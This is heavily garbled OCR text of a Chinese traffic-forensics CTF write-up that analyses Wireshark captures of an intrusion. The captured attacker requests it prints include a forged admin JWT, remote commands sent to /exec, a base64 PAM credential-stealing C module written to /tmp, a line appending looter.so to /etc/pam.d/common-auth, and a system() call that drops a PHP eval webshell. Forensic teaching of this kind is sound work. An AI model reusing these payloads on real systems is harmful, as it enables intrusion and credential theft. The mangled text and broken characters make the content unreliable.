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1.1

1§ FHwiresharkT 7 2 # {)“ Good.pcapng” i & &

M Good peapng a x
SR fEHEE B0 BEEG)  HERC)  oiRla)  BEERGE) SN FEEew) TR #ENH) B
d m = RE A«==EZF iS5 =Eaaqy
(7 ntep % ':!"‘
No. Tima Squres Destination Protacol Langth .|-I.'!-':f| ___________________________________________________________________________________________________ B
. 7 1.7091896 192.168.241.152 1808.163.150. 161 HTTR 887 [GET /__utm. giffutmm=t 7 Ilubme—Alidmn_170RUARSAGRIH
- 16 1.743783 186.163.150.161 192.168.241,152 HTTE 483 HTTP/1.1 200 Ok (1 Mark/Unmark Packetis) Ctrl+M
27 B.6B5387 192.168,241.152 192.168.241.147 HTTP 74 GET / HTTP/1.@ Coni 'OmOre/Unignore Packet(s) E::'?
31 B.6B5845 192.168.241.152 192.168.241.147 HTTR 74 GET / HTTP/1.8 Coni mﬁﬂnm&g CtrI:ShifnT
32 B.6RE342 192.168.241.147 192.168.241.152 HTTP 593 HTTP/1.1 483 Forbic P;EEEM CHl+ Al T
38 B.608841 192.168,241.152 192.168.241.147 HTTP 74 GET / HTTP/1.@ Cond it
39 B.689733 192.168.241.147 192.168.241.152 HTTR 593 HTTP/1.1 483 Forbix TRRRRTAIE R
45 8.618143 192.168.241.152 192.168.241.147 HTTP 74 GET / HTTP/1.8 Cond Pl oo i)
46 8.610915 192,168, 241.147 192.168.241.152 HTTP 593 HTTP/1.1 403 FOrbic  pranare as Filter
ET @ £11979E 107 1€ 141 1E£9 107 19 341 1A7T HTTD TA CET { HTTD/M @ Fond m&ﬂ [
Frame 7: 887 bytes on wire (7096 bits), 887 hytes captured (7896 bits) on interface \Device\NPF ?:"T:E a5
Ethernet II, Src: VMware_f©:15:d2 (08@:0c:29:¥8:15:d2), Dst: VMware_f7:f7:a3 (00:50:56:F7:Ff7:a3) 5 -
Internet Protocol Version 4, Src: 192.168.241.152, Dst: 188.163.158.161
Transmission Control Protocol, Src Port: 52689, Dst Port: BB, Seq: 1, Ack: 1, Len: 833 -k
Hypertext Transfer Protocol R § |
Decode s I’ .',” nke
: RO e

@8 58 56 7 f7 a3 @@ @c 29 fo 15 d2 88 89 45 88 PV 3 E

RIAHTTPE, HEELEHTTPE, BE4EBBSHNRR, BH xMdns. fipl, BrBlAEH Zhttpih il
e

I IEfEH{TRIRTBER NSRS, (EFEIELEPEHNS, HSHHI:

http, dns, ftp)

T LA 3 http” Pr30 R X 48 2 a3
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{55 FwiresharkT ¥ H 5 (1) “goroot.pcap” it & £
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1 9. epaaen 192.168.2.197 192.168.2.197 HTTP 571 GET / HTTR/1.1

2 8.881239 192.168.2.197 192.168.2.197 HTTP 6185 HTTP/1.1 288 OK (text/html)

3 25.137980 192.168.2.197 192.168.2.197 HTTP 642 GET faccess.log HTTP/1.1

4 25.139379 192.168.2.197 192.168.2.197 HTTP 183 HTTP/1.1 484 Not Found (text/plain)

5 182.981144 192.168.2.197 192.168.2.197 HTTP 545 GET / HTTR/1.1

6 182.902996 192.168.2.197 HTTP 6185 HTTP/1.1 20@ OK (text/html)

7 118.317064 "1192.168.2.197 HTTP 758 POST /identity HTTP/1.1 (application/x-www-form-ur]
8 118.318928 192.168.2.197 HTTP 618 HTTP/1.1 288 OK (‘text,ﬂ'htrﬂl’)"_) "’__lj-r br e e )I,.-_I.I
9 118.357816 192.168.2.197 192.168.2.197 HTTP 762 GET /exec HTTP/1.1 e o

RIUEHTTPE, BEHEIEHTTPRE, ARG EER"# Ahttpli,

</script>

</body>

</html>GET /exec HTTP/1.1

Host: 192.168.2.197:8681

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 16_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp, image/apng, */*;0=0.8,application/signed-exchange;v=b3;q0=0.9

Referer: http://192.,168,2.197:8081/identity

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=8.9

Cookie: PHPSESSID=3f8coegbhm9vfeh5lcoifmk8o5;
token=eyJhbGciOilIUzIINiIsINRScCI6GIkpXVCI9.eylpZCI6MTAWODYsIk1hcENsYWltcyI6eeylhdWQiOi
JhZG1lpbiIsInVzZXJuYW1lIjoiYWRtaW4ifXe.dJArtwXjas3 Cg9a3tr8COXF7DRsuX8UjmbClnKf8fc

HTTP/1.1 208 OK
Content-Type: text/html; charset=utf-8

Date: Sat, @7 Aug 2021 ©5:09:16 GMT
Transfer-Encoding: chunked CS5DN @joker-yan

R I cookie” o HELJWT 2R AY, By DA i S = jwhAIE

ZPAL (R T IWIFA=R. (EFEELIERNS)

st uHERIjwtth, idfllusername2 . (HiElFER#SiEH, #Hiln1#admin)

Flag :

RAA RBIET



([ Tnttp ~)

No. Time Source Destination Protocol Length Info [
1 0.000000 192.168.2.197 192.168.2.197 HTTP 571 GET / HTTP/1.1
2 0.001239 192.168.2.197 192.168.2.197 HTTP 6185 HTTP/1.1 200 OK (text/html)
3 25.137980 192.168.2.197 192.168.2.197 HTTP 642 GET /access.log HTTP/1.1
4 25.139379 192.168.2.197 192.168.2.197 HTTP 183 HTTP/1.1 404 Not Found (text/plain)
5 102.901144 192.168.2.197 192.168.2.197 HTTP 545 GET / HTTP/1.1
6 102.902996 192.168.2.197 192.168.2.197 HTTP 6185 HTTP/1.1 200 OK (text/html)
7 110.317064 192.168.2.197 192.168.2.197 HTTP 750 POST /identity HTTP/1.1 (application/x-wwwseforms-=upri

RI—A“POST fidentity” 8, EHEBEITH
TH, EU

GET /images?file=bj.jpeg HTTP/1.1

Host: 192.168.2.197:8081

Connection: keep-alive

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10 15 7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.2.197:8081/exec

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=3f8coegbhm9vfoh5lcoifmk80o5;

el GliEeyJhbGciOiJTUzTINITsTnR5cCI6TkpXVCI9. eyIpZCI6MTAWODYsIk1hcENsSYWltcyI6eyIhdWQioi
JhZG1pbiIsInVzZXJuYW11TIjoiYWRtaW4ifXe.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc

CSDN @joker-yan

HEZ Ebase64f# Y
$H5: {"alg":"HS256","typ":"JWT""id":10086,"MapClaims":{"aud":"admin","username":"admin"}}

ZEA: 10086#admin

> H
SR RILRHEHI~
RE—A— MG, RIESETMHRHRIWTEZZS)
M gorootpcap - u
NHE) REE WMEV BEG RO HA) FHOe)  EBIEY) W) TEO #FBH) ta[:::j
Anm 1 ® Re=xF I = aaaH
[iltcpA stream eq 10 HE3 '] +
No. Time Source Destination Protocol Length Info
I 97 216.198006 192.168.2.197 192.168.2.197 HTTP 879 POST /exec HTTP/1.1 (application/x-www-form-urlencoded’
98 217.299848 192.168.2.197 192.168.2.197 HTTP 441 HTTP/1.1 200 OK (text/html)
M Wireshark - 3885 HTTP i (tcp.stream eq 10) - goroot.pcap - [m] X

~

POST /exec HTTP/1.1

Host: 192.168.2.197:8081
Content-Length: 14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

Q Origin: http://192.168.2.197:8081
| Content-Type: application/x-www-form-urlencoded F
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36
Null/Loopbac | (yrM, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Internet Prc |accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
Transmissior |webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Hypertext T |Referer: http://192.168.2.197:8081/exec B
HTML Form UF |Accept-Encoding: gzip, deflate

L |Accept-Language: zh-CN,zh;q=0.9

0000 @2 00 o |Cookie: PHPSESSID=3f8coeg6hmovfoh5lcoifmk805;

0010 0 a8 0. | token=eyJhbGci0iJIUzZIINiISInR5cCI6IkpXVCI9.eyIpZCI6MTAWODcsIklhcENSYWltcyI6eyJlc2Vybm
0020 c4 49 a! |FtZSI6ImFkbWluInl9.rurQD5RYgMrFZow8r-k7KCP13P32sF-RpTXhKsxzvDo

0030 @9 6¢ 4. |Connection: close

0040 65 63 2
0050 74 3a 2¢ | command=whoamiHTTP/1.1 200 OK

0060 3a 38 3( |Content-Type: text/html; charset=utf-8
0070 65 6e 6. |Date: Sat, 07 Aug 2021 ©5:11:03 GMT
0080 2d 43 6 |Content-Length: 249

0090 65 3d 3¢ |Connection: close

Frame 97: 8';
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HEZ Ebaseb4 iy,
KEREMER: {"alg":"HS256","typ":"JWT"{"id":10087,"MapClaims":{"username":"admin"}}
53): 10087#admin

2.3

Bk lwebshellZ 5, BFRE

{3 Fwireshark¥T 7 H #1 f#)“goroot.pcap” M2 E, b E 2 BRI E, —MMEEBHTTPEMAENS, HE THH
—Ahttpf,

tep, stream eq 10 "_" +
e e E#%4AE | FRH 3 e
No. Time Source Destination Pratocal Length Info
97 216.198806 192.168.2.197 192.168.2.197 HTTP B79 POST fexec HTTP/1.1 (application/x-www-form-urlencoded)
"""" 98 217.299848  192.188,2.197 192,168.2.157 HTTP 441 HTTR/1.1 208 ok (text/html) SN r'_.!J_'r_, Ker-yan

RWEHTTPE, HEIEHTTPE, AREH"EER"#Ahtpii,

POST /exec HTTP/1.1

Host: 192.168.2.197:8081

Content-Length: 14

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.2.197:80881

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 1@_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.8.4515.1087 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=06.9

Referer: http://192.168.2.197:8081/exec

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=3f8coeg6hmdvfeh5lcoifmk80o5;
token=eyJhbGci0iJIUzIINiIsInR5cCI6IkpXVCI9.eylpZCI6MTAWODCcSIk1hcENSYWltcyIbeyllc2Vybm
FtZSI6ImFkbWluInlg. rurQD5RYgMrFZow8r-k7KCP13P32sF-RpTXhKsxzvD@

Connection: close

command=whoamiHTTP/1.1 20@ OK -2V EJOREr)



command=whoamiHTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Date: Sat, 07 Aug 2021 05:11:03 GMT
Content-Length: 249

Connection: close

<IDOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>

<script language="javascript"” type="text/javascript”>
alert("root\n")
window. location.href="\/exec";

</script>
</body>
</html>

KB “alert(“root\n”)”
it A48 Y R 25 3REX T rootA fR
24
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Flag :
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a

dm @ RE Re==2Fi3 =a68ad
(W tep. strean eq 13 T Q ] <]+
5HA Wil wE - | O Efkdhs FEHE . y i L
Time Source Dest ination Pratacol Length Info
- 183 391.752816 192.168.2.197 192.168.2.157 HTTP 2334 POST Jexec HTTP/1.1 (application/x-www-form-urlencoded)
- 184 392845146 192.168.2.197 192.168.2.197 HTTP 417 HTTP/1.1 28@ OK (text/html)
Ml 'Wireshank - BE HTTP B {epostream en 13) - goeoot poap
token=eyJhbGe1011TUZIINI IS INRScCIGIkpXVC 9, ey IpZ CIGMTAWODCSTK1Ihc ENSYW]tcyI6eyI1c2vybm
FtZST6ImFkbWluInlg. rurQDSRYEMrFZowdr-k7KCP13P32sF-RpTXhKsxzvDa
Connection: close
command=echo®20T21u¥2x1ZGUgPHNEZG1vLmgHE2bC iNpbmNsdWR1IDx2dGRsaWIuaDdKI21uy2x1ZGUEPGNL
[ cmvY 3VybCSoPgojaws JoHvVkZSABC IRyaWSnLmgk2bC INpbmNsdWR11DxzZWN1 cmlBesSowY Wl FYXBwbC 5oPgo »
Frame 183: 233 jaWsibHVKkZSABC 2v]dX IpdHkve GFEX21vZHYS ZXMUaDAK I 21 uY 2x1 76UEPHVUAXNBZ CSoPgpzaXplX3Qgd3dp %
Null/Loa I;ack dGVFZGFAYSh2b2 lkICpidWZmZXIsTHNpemyfdCBzaXplLCBzaXplX3Qgbml LbWI s THZ vaWQeKnVz ZXIwkQp7C
L3 nlldHvybiBzakplICogbmllbWI7Cn@KCnZvaWQgc2F2ZU11c3NhZ2U0oY2hhciAoKml 1o 3NhZ 2Upk1BpIHSKRK
Internet Protd | jympcpq7nagPSBOVUXMOWpMCCASTGZVCGVUKC IVAG1WLY55b298ZXT1LCALYSsiKTSKZNB1dHMoKm1 e 3NhZ 2U
v Transmission € | s167uKTsKZmNsb3IN1KGZWKTsKFQOKUEFNXEVYVEVST iBpbnQgcGFt 3Nt X3N1dGNy ZWQoTHBhbVIOYWSKbGVT
Source Port | dCAqoGFtalwgaWsSeIcz sYWdzLCBpbnQgyXInyywgY 29uc30gY 2hhciAgkmFyZ3YgKSB7Cn ] 1dHvybiBQQULFU
Destination |1VDQEVTUZSKFQOoKUEFNXBVYVEVSTiBpbnQEcGFtX3NTX2F JYIRFbWdtdChwyYWlfaGFuZGx1X3QgknBhbWgsIG -
22 0@ B8 & ludCBmbGFncywpaWs8TIGFyZ 2Ms TGHNvbnNeTGNoYXIgK iphemd 2KSB7CN] 1dHVy biBQQUL FUIVDQEVTUz sKFQa =
2 a8 63 KUEFNXBVYVEVSTiBpbnQgcGF tX3NEX2F 1dGhlbnRpY2F@ZSggctFtX2hhbmisZVae ICpwYWloL CBpbnQgZmxh
;? gc ki E Z3MsaWSaIGFyZ2MsIGNVbNNBIGNoYX gk iphemd2 ICkgewppbnQgcmvadmr sOwp jb252dCBjacFyKiB1c2Vyh
- c r!1FtZT5K'\"29ur_'BQgYIhhL'ingcGcmdeEnﬂ?CmNuY’X[ngzczFrlZ‘.l'sIMDIBXTsKEm‘JBdesID@gL‘GFLXZdldF
e 6: :; o | Hlc2VyKHBhbWgs TCZ1c2VybmF tZ5wgL1VZZXIuYW110iAIKT sKeGF tX2d1dFIpdGVEKHBRbIWES TFBBTVIBVVR
~ | IVESLLCAodmIpZCAQKSAmcGF 2 3dvemQpOwppZ LAocmvedmF s ICESIFBETVITVUNDRVNTKSBZCn] 1dHVybiBy
74 33 2@ 3
ES 1 | DXR2YWWTCn@KCnNucHIpbnRmKG1 1 3NhZ 2UsM{ABOCwiVENL emShbWUgIXNcb1Bhe 3N3b3Ik0iAlc1xuTixlc
62 e &7 T 2VybmFtZSwyXNZd 29y ZCk TCNNhdmyNZXNZ YIWd LIKCZE 2Nz YWd 1K T sKemv@d) JuLFBBTYI TVUNDRVNTOwp? |
8 6: 2d .: basesa%2@-d%2e>/tmp/1.cHTTP/1.1 288 OK
51 ir el Content-Type: text/html; charset=utf-8 o g
 |Date: Sat, @7 Aug 2021 ©5:13:59 GMT Lol (e e r-\fAr] -
@ ¥ gorcotpeap | | Content-Length: 225 Tz om EH: petaslt

RERIATREFBELWHSMEET —KEFR, BEREXUFER. base64fi#id

AN FEift{T Basebd BRISEARIERITRT
UTVDUOV TUZSKIOoRUEFNXUVYVEVS NBpbnlgcGRFIX SN ZF 1dGhIDNRpY ZF0L5ggcGRIXZARbMAsZVEUICpwYWToLUBpbnUgLmxh - o
Z3MsaWS0IGFyZ2MsIGNvbnNOIGNoY XlgKiphecmd2|CkgewppbnQgemV0dmFsOwpjb25zd CBjaGFyKiB1c2VybmFtZ TsKY 29uc3QgY2hh
ciogeGFze3dvemnQ7 CmNoY XIgbWVze2FnZWsxMDIOX TsKemVO0dmFs|DOgeGFix2dIdF91c2VyKHBhbWgs|CZ1c2VybmFtZSwgllVzZX Ju
YW1IOIAIKTsKeGFtX2dIdF9pd GVIKHBhbWgsIFBETVIBVVRIVESLL CAodmBpZCAgKSAmMeGFze3dvemQpOwppZiAoemV0dmFsICESIF
BETVITVUNDRVNTKSB7CnJidHVybiByZXR2YWw7 CnOKCnNucHJpbnRmKG1Ic3NhZ2UsMjADOCwIVXNIcmShbWUgJXMNchiBhe3N3b
3JkOiAlc1xulix1c2VybmFtZSowY XNzd289yZCk7CnNhdmVNZ XNz YWdIKCZEZXNzYWdAIK TsKemVYOdXJUulFBETVATVUNDRYNTOwpSlbas -
ebd -d >tmp/1.c

55 (Encode) #2553 (Decode) Tarf | (EObRiEGE: (Y- )
Base64 JRFDaiARIONEEE RIBIEE B

yE#include <stdio.h=
#include <stdlib.h=
#include <curlfcurl.h>
#include <string.h=>

#include <security/pam_appl.h>

#include <security/pam_modules.h> el

KGR RZBEERF N1, FrilXA SR R % LR 4.
2.5

B RS 28 MRiEESso 3, MIFRE . (BRAsEE X RSyt
12, Piltlx.so)

HRERHEHTTPRE, BFRBRENITA,
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Am i@ RE Se=>EFL5 =S 948H
-t.rn. s-r-;nnnl e "\
SHE W A E# B FHB
Ko, Time Source Destination Frotoeol  Lemgth Info
127 938.341947 192.168.2.197 192.168.2.197 HTTP 911 POST fexec HTTR/1.1
- 128 932.433320 192.168.2.137 192.168.2.137 HTTP 463 HTTP/1.1 280 OK (text/himl)

oMl "Wireshari - QE HTTF i {bopsiream eq 25) - govoot prap

Frame 127: 911 byt
Null/Leopback

Internet Protoceol

~ Transmission Contr

Source Port: 5T
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e
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araent nean

RI T “looter.so”

2.6

POST fexec HTTP/1.1

Host: 192.168.2.197:8881

Content-Length: 46

Cache-Control: max-age=8

Upgrade-Insecure-Requests: 1

Origin: http://192.168.2.197:8881

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 1@_15_?) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.8.4515.187 Safari/$37.36

Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/avif,image/
webp, image/apng,*/*;q=08.8,application/signed-exchange;v=b3;q=8.9

Referer: http://192.168.2.197:8881/exec

Accept-Encoding: gzip, deflate

Accept-Language: Zh-CN,zh;g=8.9

Cookie: PHPSESSID=3fBcoegohmoviehSlcoifmkios;
token=eyJhbGe101ITUZIINI IS INRScCIGTIKpXVC 9, ey 1pZ CIGMTAWODCSTK1hc ENSYW] tcyI6ey]1c 2\Wyha
FtZSTI6ImFkbWluInlg. rurQDSRYEMrFZowdr-kTKCP13P32sF-RpTXhKsxzvDa

Connection: close

command=echo%28" \nauth¥20optional®2elooter.so"HTTP/1.1 208 OK
Content-Type: text/html; charset=utf-8

Date: Sat, @7 Aug 2821 B5:23:86 GMT
Content-Length: 271 e
Connection: close LRl |

i oawy

—

XM, ZERBERRR 0" XX, BIUMRAER.

EEARSES Hesr —ANERENT, SHNEXERER

BiEsr)

ERAEREREL,

{application/x-wew-form-urlencoded)

clfl .

.

Nafonlt

ESDN“@iekeryan



F

(&
dm 2@ RERs=2E28FTiI =
[ ivn.s'rnnn e 28 %__:_L +
sHEFE W A Efi 4B FHH d i 3% Heiif
Time Source Dest ination Praotocol Length Info
- 129 1822.694826 192.168.2.197 192.168.2.157 HTTP 933 POST fexec HTTP/1.1 (application/x-www-form-urlencoded)
- 130 1023.782557 192.168.2.197 192.168.2.197 HTTP 417 HTTP/1.1 20@ Ok (text/himl)
Ml Wireshark - @5 HTTP 3 [bepostream o0 26] - gotoot poap
POST fexec HTTP/1.1 "
Host: 192.168.2.197:8881
Content-Length: &8
Cache-Cantrol: max-age=8
Upgrade-Insecure-Requests: 1
< Origin: http://192.168.2.197:8881 4
Frame 129: |Content-Type: application/x-www-form-urlencoded -
Null/Loopba User-Agent: Mozilla/5.@ (Macintesh; Intel Mac 0S X 1@ 15 7) AppleWebKit/537.36
Irtarnat P (KHTML, like Gecko) Chromef92.8.4515.187 Safari/f537.36
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,image/avif, image/
v Transmissia webp, image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.9
Source PC | pefeper: http://192.168.2.197:8081/exec
Destinat] |accept-Encoding: gzip, deflate ,
22 aa ¢ Accept-Language: zh-CN,zh;q=8.9 -
B a8 E Cookie: PHPSESSID=3fBcoegbhmiviehslcoifmkBos;
ac 17 4 token=eylhbGel0iJIUZIINITSINRScCIGIkpXVC IS, eylpZ CIGMTAWODCSIk1hcENSYWltcyIGey Il 2Vybm
89 78 € FLZSI6ImFkbWluInl9. rurQDSRYEMrFZowBr-k7KCPL13P32sF-RpTXhKsxzvDe
65 63 3 Connection: close
74 3a 2
3a 38 3 command=echo&2@"authi2Boptional®2@looter.so">>/etc/pam.dfcommon-authHTTP/1.1 288 OK
65 Be E Content-Type: text/html; charset=utf-8
ad a3 ¢ |Date: Sat, @7 Aug 2021 05:24:38 GMT
- Content-Length: 225
y pii.A0 3 Eonnection:gclose CSDp-Ein ;’_‘T’J.':|_‘| #
O ¥ goreot.pe [t .44 — 4 A Defanlt

RIS A“looter.so” L4 F 6] /etc/pam.d/common-auth B8 4%,  J5I13X B pl f& 445 o i i B S

“letc/pam.d/common-auth”

3.1

EEXCRASEHNEBRR

i F wireshark ¥T 7 3 # i1 “hack.pcap” i £ &
RIA HTTP &, BEEIIE HTTP &, -

Ne Time Souree Destinatior Protocol  Lemgth Info
- 1 0.000008 192.168.2.197 192.168.2.197 HTTP 626 GET /index.php HTTP/1.1
“ 3 @.082627 192.168.2.197 192.168.2.197 HTTP 3239 HTTP/1.1 20@ OK (text/html)
4 9.098349 192.168.2.197 192.168.2.197 HTTP 621 GET /Application/Home/View/default/public/js/jquery.
5 0.999436 192.168.2.197 192.168.2.197 HTTP 625 GET /Application/Home/View/default/public/js/htmlspe
6 B.899495 192.168.2.197 192.168.2.197 HTTP 647 GET JfApplication/Home/View/default/public/css/commor
7 8.100579 192.168.2.197 192.168.2.197 HTTP 637 GET /Application/Home/View/default/public/css/swiper
B 8.188675 192.168.2.197 192.168.2.197 HTTP 645 GET /application/Home/View/default/public/css/index,
9 @a.lal2e4d 192.168.2.197 192.168.2.197 HTTP 645 GET /Appl 1<.it:nn.-"Hnme.-"\J'tew.-"d=f-=u1|.-"pllb]:r;’{ aq)’ummur
18 @.183384 192.168.2.197 192.168.2.197 HTTP 535 HTTP/1.1 28@ OK (apul1cat4~?—4—_;¢lwsl.ﬁ1p[*;-~ f IT
11 A 1DARET 187 180 3 107 17 160 3 147 UTTD FACT WUTTD/1 4 I8A AW FFawticcch
[nttp | ! -] +
HHTFER ¥ - O E#XHT THE v 43 R
No. Time Saurce Destination Protacal Length Imfa
188 3.858498 192.168.2.197 192.168.2.197 HTTP 924 HTTP/1.1 286 OK (GIFB9a)
- 181 11.239111 192.168.2.197 192.168.2.197 HTTP 753 [POST /index . php¥m=Home&c=Memtwirefiar Tovie WITR/1
= 182 11.276984 192.168.2.197 192.168.2.197 HTTR/ 1. 553 HTTP/1.1 288 OK , JaVJSCPipfﬁEﬂJECt N'Dea’éien (u{j!i{

BRI BB



M Wireshark - ig85 HTTP i (tcp.stream eq 6) - hack.pcap == O *

POST /index.php?m=Home&c=Members&a=1ogin HTTP/1.1

Host: 192.168.2.197:8081

Connection: keep-alive

Content-Length: 47

Accept: application/json, text/javascript, */*; gq=0.01
X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 1@ 15 7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.0.4515.187 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.2.197:8081

Referer: http://192.168.2.197:8881/index.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=c7rg88itbgdegddujcpt67mghe; think language=zh-CN;
think template=default

username=test&password=Adminl123!%40%23&expire=0HTTP/1.1 200 OK
Date: Sat, ©7 Aug 2021 @9:33:29 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.29

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-check=8
! Pragma: no-cache

Content-Length: 112

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/json; charset=utf-8

{"status":1,"msg" :"\u767b\u5f55\u6210\u529f\uffel”, "data" :"\/index. php? w
#8101, 3 EFE #4. 3 REE #4545 wun(s). AFEE.
L BARHE (127kB) e Show data as ASCII "
. B [ERF—Q
i3 iR $TED AU A EE Aol @jokdMyan |
SIEEI R TR
3.4

=S NWwebshel 3HZ 2 . (BB EXHREIE, Hidx.txt)

—%

Flag : LSDN Kersyian

gReRpRtmE R, 1818 KPOSTILENE



| 5|
Adm i@ RERes=2E2FTi5=aaan
| | tep. stream eq 33 ﬁ ll -
AEEFWE ¥ BE# A 8 FHEB ¥ Reify
ime Source Dest inat fon Pratocol Lemgth Info
332 396.895915 192.168.2.197 192.168.2.157 HTTP BB8 POST /index.php?m=homela=assign_resume_tpl HTTP/1.1 (ap;
333 396.132913 192.168.2.197 192.168.2.197 TCP 16388 8881 - 60872 [ACK] Seq=1 Ack=825 Win=6366 Len=16332 TSva
334 396.132914 192.168.2.197 192.168.2.197 HTTP 6956 HTTP/1.1 208 0K (text/html)

oMl Wk - IR HTTP 5 (teg

i ) 33) - hack poap

POST /index.php?m=homeka=assign_resume_tpl HTTP/1.1
Host: 192.168.2.197:86881
Pragma: no-cache
Cache-Control: no-cache
P Upgrade-Insecure-Requests: 1 3
User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S5 X 18_15_7) AppleWebKit/537.36
Frame 332: 8B 5 = e =
{KHTML, like Gecko) Chrome/92.8.4515.187 Safari/537.36
Null/Loopback Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
Internet Prolt ,opp, image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 I
Transmission € accept-Encoding: gzip, deflate
Hypertext Tral Accept-Language: zh-CN,zh;gq=0.9
HTML Form URL Cookie: PHPSESSID=c7rgBBitbgdegddujcpt&7mghé; think_language=zh-CN;
think_template=default;

2 o 0 | Connection: close 8

;2 a8 82 ' | content-Type: application/x-www-form-urlencoded
18 63+ content-Length: 143

Ba 68 a4 |

64 65 78 | . . . "

34 61 73 variable=1&tpl=data/Runtime/Logs/Home/21_08_87.loplkaaa=system('echo

173 | ppowaHAgZXZhbC gkX1TFUNVFUIRBYWFhXSk7Pzd= |base6d -d > /var/www/html/1.php");HTTR/1.1

78 6c 28 . 288 OK

74 3a 28

B i Date: Sat, @7 Aug 2021 @9:39:54 GMT

: g Server: Apache/2.4.7 (Ubuntu)

6F 2d 83 | 'y powered-By: PHP/5.5.9-lubuntud.29 S
¥  hack. peap Expires: Thu, 19 Nov 1981 @8:52:88 GMT B 3 0.2%

RI—ACH1.php”, FEREA R B _EAE AT T B S -
3.6

E=AE T BR9EhERSS iwIP

4k 5 PR3



B
Am @ RERs=2E@FTi5=aaan
M |tcp stream eq 38 ’a ll -
HEFWE EE B B FHEB X il
Time Source Dest ination Protocol Length Info
343 538. 744871 192.168.2.197 192.168.2.157 HTTP 1681 POST /l.php HTTP/1.1 (application/x-www-form-urlencoded
344 538,745941 192.168.2.197 192.168.2.197 HTTP 258 HTTP/1.1 20@ OK (text/html)

Ml Wireshark - RIS HTTF [ (bepsiveam e 35) - hack pap

Connection: close

a3a=%49ini_set(%22display errorsX¥22%2CK20%220%22)%30%40set_time limit(@)%3BfunctionXk2
Basenc (¥24out )ET7BreturnE@E24outBIBETDEIBfunctionX28asoutput()
%78524output®3Dob_pet_contents()X¥3Bob_end_clean( )X3Becho®20X2228%22.
%22F72%22%3BechoX20%48asenc (¥2doutput )X3BechoX20%22T486%22 . X2211F4%22%38%70ob_start()
X3IBLryX7BA24FE3Dbasesd_decode(substr(X24 POSTRSBR22j68871301598F%22850%2C2) )

Frame 343: 168 |%3BR24cX3D%24 POSTRSBX22xa5d606e67883a%22850%838%24cX30str_replace (R22R5CrE2282C822%22

Null/Loopback |¥2C¥24c)X%3BX24ck3Dstr_replace(%22X5CnX22X2CH22%22%2CK24¢c)

Internet Proto |¥3B¥24buf¥3D%22%22%3Bfor (%24i%300%3B%24iX3Cstrlen (%24 )X3BX241iX2B%302 ) %24buf.

%30urldecode(%22%25%22. substr(X24cR2CR241%2C2) )

%3Becho{¥defwrite(fopen(X24F¥2C%22a%22 ) X2CK24but)

X3IFE221X22%3A%220%22 )%3IBRIBXTDcatch(Except ion®20%24e )X 7BechoX20%22ERRORKIAX IFRIFR22 .

%24e-R3EgetMessapge( )X3BR7DR3Basoutput( )X3Bdie()

Transmission C

Hypertext Tran
HTML Form URL

82 8@ 88 € XIBEJ6BOT71381598F=FBL3IZhci93d3cvaHRtbCOmenBjLmluad®30%308xa5doa6e6TE883a=50636F6D6D6F6 ~

c@® ag 82 ¢ ESDRATI6LT27665725F616464722830203139322E3136382E3233392E3132330A7365727665725F706F72

c6 el bl 1 74203D28373737380A746F6BE5S6E3D586133424A66326C35656E6D4E365A3741386DT60ABA5B746573745

BPa 62 2c 2 F736F636B355DPATATITO65203D207463700AT72656D6F TAGSSF706F72742830383131310AT06C7567696E

70 68 7@ 2 | 203D20736F63I6BTIISOATOGCTS6T7EO6ESFTSTI6LT220302030484446743136634C514ABATB6CTSETE96ES

73 74 3a 2 |F70B1737377642030204A544E32373647700A7573655F656E6372797074696F6E203020747275650A7573

37 3a 38 3 |B65S5F63I6F6DTOT2657373696F6E203020747275650AHTTP /1.1 200 OK

Ge 63 6f & Date: Sat, @7 Aug 2821 99:42:17 GMT

65 66 6c 6 Server: Apache/2.4.7 (Ubuntu)

